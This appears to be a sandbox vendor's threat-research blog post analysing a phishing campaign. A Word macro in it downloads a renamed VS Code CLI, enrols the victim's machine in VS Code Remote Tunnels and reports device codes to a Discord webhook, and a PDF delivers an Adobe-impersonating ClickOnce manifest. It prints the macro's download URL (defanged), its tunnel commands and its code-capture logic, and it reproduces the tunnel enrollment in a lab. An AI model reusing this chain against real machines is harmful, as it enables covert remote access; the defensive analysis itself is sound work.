Living off the Land with VS Code: Inside a Sophisticated Phishing Campaign
Published on: 19.05.2026
The phishing email was analyzed by Joe Reverser in the report available here:
The Capability Preview image below already offers a comprehensive overview of the kill chain:
In addition, the two attachments were analyzed separately with Joe Sandbox:
- https://www.joesandbox.com/analysis/1903908/0/html
- https://www.joesandbox.com/analysis/1903906/0/html
What made this case particularly noteworthy was the attackers’ use of Visual Studio Code as a living-off-the-land tool, combined with Discord webhooks for data exfiltration.
Static sample information
- Email SHA-256:
ff892c71475c71eccf3ab3f650d7aea30b61c9dc0c39a89b7f3f434469aa8d8b - Attachment 1:
- SHA-256:
49f304eb2772bf194e21c90bf5f1783770020538c80c0ca71afc5f1adcd19e86 - Name:
CAD Reprot.doc - Attachment 2:
- SHA-256:
f3c4a34af566276e95960c156b38aea8a823aa394ed5c43178397be8440b56d4 - Name:
ANPR Reprot.pdf
Initial Access Vector
Attachment 1 Analysis – CAD Reprot.doc
Analysis of Macro Behavior
Sub AutoOpen()
DownloadAndExfil
End Sub
Firstly, it downloads the executable code.exe and saves it in the %TEMP% folder:
url =
"hxxps[://]adobe-pdfreader[.]b-cdn[.]net/code[.]exe"
filePath = Environ("TEMP") & "\code.exe"
Next, it executes several commands related to the Visual Studio Code command-line interface:
code.exe tunnel user login
--provider microsoft
At this point, the malicious macro appears to use VS Code Remote Tunnels, a legitimate Visual Studio Code feature that allows users to access a remote machine through a tunnel without manually configuring SSH. Under normal circumstances, the code CLI can be used to create and manage these tunnels.
In this case, however, that legitimate functionality is repurposed to obtain malicious access to the computer. The command:
code.exe tunnel user login
--provider microsoft
can initiate a Microsoft device-code authentication flow and print a message similar to the following:
To sign in, use a web browser to
open the page https://login.microsoft.com/device and enter the code
AAAAABBBB to authenticate.
The macro redirects this output to a temporary text file:
> "%TEMP%\a.txt"
2>&1
Then, the macro reads from this file and captures the generated device authorization code:
If InStr(Content, "code ") > 0 Then
capturedCode = Mid(Content, InStr(Content, "code
") + 5, 10)
End If
- Hostname
- Username
- Captured Microsoft device code
- Authentication URL: https://login.microsoft.com/device
- Status: OTP Captured
Below is the relevant code:

The title “Microsoft OTP Captured” is somewhat misleading. The captured value is not a traditional MFA one-time password, but rather the user code from Microsoft’s OAuth device authorization flow, generated during the VS Code CLI authentication process.
After obtaining this device authorization code, the macro proceeds with the next stage of the attack by executing another Code CLI command:
code.exe tunnel service install
This operation attempts to install the VS Code tunneling service on the target machine, increasing persistence and enabling continued remote access once authentication has succeeded.
The macro then monitors whether code.exe is still running:
output = wsh.exec("tasklist /fi ""imagename
eq code.exe""").StdOut.ReadAll
IsCodeExeRunning = (InStr(output, "code.exe") > 0)
If code.exe has stopped running, the macro treats this as an indication that the victim completed the Microsoft device authentication process, and the macro notifies Discord of this event:
If Not IsCodeExeRunning() Then
Call SendSuccessToDiscord
End If
Below is the relevant code:
Overall, the macro repurposes a legitimate Microsoft/VS Code workflow to establish remote access, with Discord webhooks serving as a lightweight channel for exfiltration and status reporting. Instead of relying on a traditional custom backdoor, it abuses victim-assisted device-code authentication to enroll the host into the VS Code Remote Tunnels infrastructure.
Abuse of VS Code Remote Tunnels
According to the Joe Sandbox analysis, no actual Windows service was created. Indeed, the following screenshot shows that no registry key was created under: HKLM\SYSTEM\CurrentControlSet\Services\.
What is interesting here is that this technique represents a significant shift from the classic Microsoft device-code phishing scenario. A complete example is available at the following link: https://www.joesandbox.com/analysis/1908010/0/html.
This differs significantly from the threat vector analyzed here. In the analyzed macro, the suspicious command does not appear to be intended to steal the victim’s credentials:
code.exe tunnel user login
--provider microsoft
Instead, the attacker's objective seems to go beyond simply harvesting the victim's Microsoft identity. The real aim appears to be enrolling the compromised machine into a VS Code Remote Tunnels workflow controlled by the attacker. If successful, this would give the threat actor remote access through legitimate Microsoft infrastructure, allowing the activity to blend in with trusted cloud services and developer tooling traffic.
Below is a representation of this attack chain:
To validate this hypothesis, we created a dedicated Microsoft account within Joe Lab specifically for this test and reproduced the authentication flow in a controlled environment.
Once we executed the VS Code tunnel login command:
code.exe tunnel user login
--provider microsoft
the VS Code CLI generated a Microsoft device authorization code and prompted the user to visit the Microsoft device-login page.
As illustrated in the previous screenshot, we entered the device
code generated by the CLI at https://login.microsoft.com/device. In the subsequent
screenshot, Microsoft displays a confirmation prompt asking whether the user is
attempting to sign in to Visual Studio Code.
After completing the authentication stage, we proceeded with installing the tunnel service. Note that “tunnel service” is misleading here; the screenshot below shows that no Windows service was actually created. Instead, persistence was achieved by adding a new registry value named “Visual Studio Code Tunnel” under HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
The registry value data for “Visual Studio Code Tunnel” points to code.exe with tunnel-related arguments, meaning that the VS Code tunnel will run automatically at each user login.
The tunnel logs are also visible in the screenshot above. As shown in the logs, the binary is actually the Visual Studio Code server component running on the remote host. The logs show successful tunnel service registration, tunnel startup, relay establishment, token acquisition from the keyring, SSH connections, and regular heartbeats. These events are consistent with a VS Code Remote Tunnel being established and maintained through Microsoft's tunnel infrastructure.
Next, we installed the VS Code client and the “Remote – Tunnels” extension. After signing in with the test Microsoft account, we granted the extension permission to sign in using Microsoft.
At this point, our machine became visible in the remote machine list under the name “dorian-pc” and was marked as online.
After we selected the remote machine, VS Code established the remote session. The following screenshot captures the moment when the SSH-like tunnel channel was opened. The code.exe logs show the remote client, VS Code on the right, connecting, the relay session being created, and the encrypted channel being negotiated.
With access to such a fully featured development environment, it is easy to see how broad the threat actor’s operational possibilities become: they can use the integrated terminal as an interactive backdoor, develop and compile malware directly on the victim’s machine, or perform virtually any other action supported by the environment.
This confirms our theory regarding the threat actors’ intentions behind this attack vector, which constitutes a notable reversal of traditional Microsoft device-code phishing. Rather than deceiving the victim into authorizing access to their own Microsoft account, the attackers authenticate the VS Code CLI on the compromised machine using an account under their control, thereby converting the victim’s system into a VS Code tunnel endpoint.
Although this does not result in the compromise of the victim’s Microsoft account, it enables the threat actor to interact with the victim’s machine through the VS Code Remote Tunnel service.
Attachment 2 Analysis – ANPR
Reprot.pdf
The file contains five URI annotations, all pointing to the same URL:
hxxps[://]adobe-pdfreader[.]b-cdn[.]net/Adobe[.]application
According to the associated Joe Sandbox report, the Dropped Files section shows that, after the button was clicked, the PDF document successfully wrote the Adobe.application file to disk. Consequently, we inspected the dropped files to determine which file had been downloaded.
A summary of the downloaded content is shown below:
This file is a ClickOnce deployment manifest, a format used by Microsoft’s ClickOnce deployment technology to distribute, install, and launch Windows/.NET applications.
A ClickOnce deployment typically begins with a .application file, which defines the deployment identity,
version, installation settings, update configuration, and the location of the
corresponding application manifest. The secondary manifest then describes the actual application version, including its files, dependencies, hashes, requested permissions, and execution entry point. On Windows, ClickOnce manifests are normally handled by the ClickOnce runtime, which validates the manifests, retrieves the referenced components, installs them in the per-user ClickOnce cache, and launches the application.
In this case, the manifest is suspicious because it appears
to impersonate Adobe branding. It defines an installable .NET application named Adobe.application and points execution to a secondary manifest located at:
Application
Files\Adobe_1_0_0_31\Adobe.dll.manifest
The generic Adobe-themed naming, unusual versioning pattern,
and null publicKeyToken suggest possible impersonation rather than a legitimate
Adobe-signed ClickOnce package.
The embedded SHA-256 digest:
EQSbGY9257x6TTe4Yqx3kXaXlhxo7acOU1YEwolpqHA=
decodes to:
11049b198f76e7bc7a4d37b862ac77917697961c68eda70e535604c28969a870
However, this hash only verifies the integrity of the
referenced manifest content. It does not establish publisher trust, nor does it
prove that the package is legitimate. For this reason, the secondary manifest
and the associated .exe or .dll payloads remain the key artifacts required to
determine the application's true behavior and assess whether the deployment is
malicious.
The .application file can
be executed simply by double-clicking it or opening it in a browser. In both cases, however, we obtained the following error because the file was launched locally and expected to resolve its referenced resources through relative filesystem paths:
As explained in the referenced article, there is a historical difference between how Edge Legacy and Internet Explorer handled ClickOnce .application
files and how browsers such as Chrome and Firefox handled them. Edge Legacy passed the original file URL directly to the
ClickOnce handler through DirectInvoke, whereas Chrome and Firefox first
downloaded the file and then passed only the local filesystem path to the
handler. This behavior could cause manifests without a deploymentProvider element to fail, because relative references would no longer be resolved against the original remote URL.
ClickOnce handling is performed through the Application.Manifest file association, which invokes dfshim.dll via the ShOpenVerbApplication
function. To avoid path-resolution issues, developers are expected to include a
deploymentProvider element in the manifest, with an
explicit codebase attribute pointing to the deployment location.
Notably, the manifest examined in this analysis does not contain a deploymentProvider element.
The article also notes that ClickOnce support was later
integrated into modern Microsoft Edge. It became available starting with Edge
77 and was enabled by default from Edge 87 onward. Unlike Internet Explorer and
Edge Legacy in certain trusted zones, modern Edge still displays a user prompt
before launching the ClickOnce handler.
This helps clarify the likely target environment intended by the threat actors:
- modern Microsoft Edge with ClickOnce support enabled
- Internet Explorer or IE Mode, particularly in legacy enterprise environments
- Edge Legacy
Chrome and Firefox are less suitable targets for this
specific deployment chain. If the .application file is downloaded first, the ClickOnce handler receives a local filesystem path rather than the original URL. As a result, any relative references embedded in the manifest may break.
At the time of analysis, the site responded to every request with a Bunny.net block page, likely as a result of security countermeasures. Consequently, we could no longer use the ClickOnce handler in Edge to initiate the installation from the original remote location.
We also attempted to extend the investigation by searching VirusTotal and Google for the dependency hash:
11049b198f76e7bc7a4d37b862ac77917697961c68eda70e535604c28969a870
However, we were unable to locate the original Adobe.dll.manifest file.
Based on the available evidence, the ClickOnce deployment manifest was likely intended to retrieve and execute a .NET payload, presumably named Adobe.exe, as the next stage of the infection chain. Unfortunately, because the original remote content was no longer available at the time of analysis, we could not conclusively verify this hypothesis.
Conclusion
This campaign combines credible spear-phishing, macro-based execution, and ClickOnce payload delivery through shared BunnyCDN infrastructure.
Its most distinctive element is the abuse of VS Code Remote Tunnels, which shifts the objective from credential theft to remote host enrollment. Rather than stealing the victim’s Microsoft account, the attacker appears to use their own account to bind the victim’s machine to a legitimate Microsoft tunneling workflow.
The PDF attachment likely served as a parallel ClickOnce-based delivery path, although the final payload could not be recovered.
Overall, the attack demonstrates a sophisticated use of trusted developer tooling and legitimate cloud services to reduce detection opportunities and preserve operational flexibility.
Register for a free Joe Sandbox Cloud Basic account and start using Joe Sandbox and Joe Reverser today.

















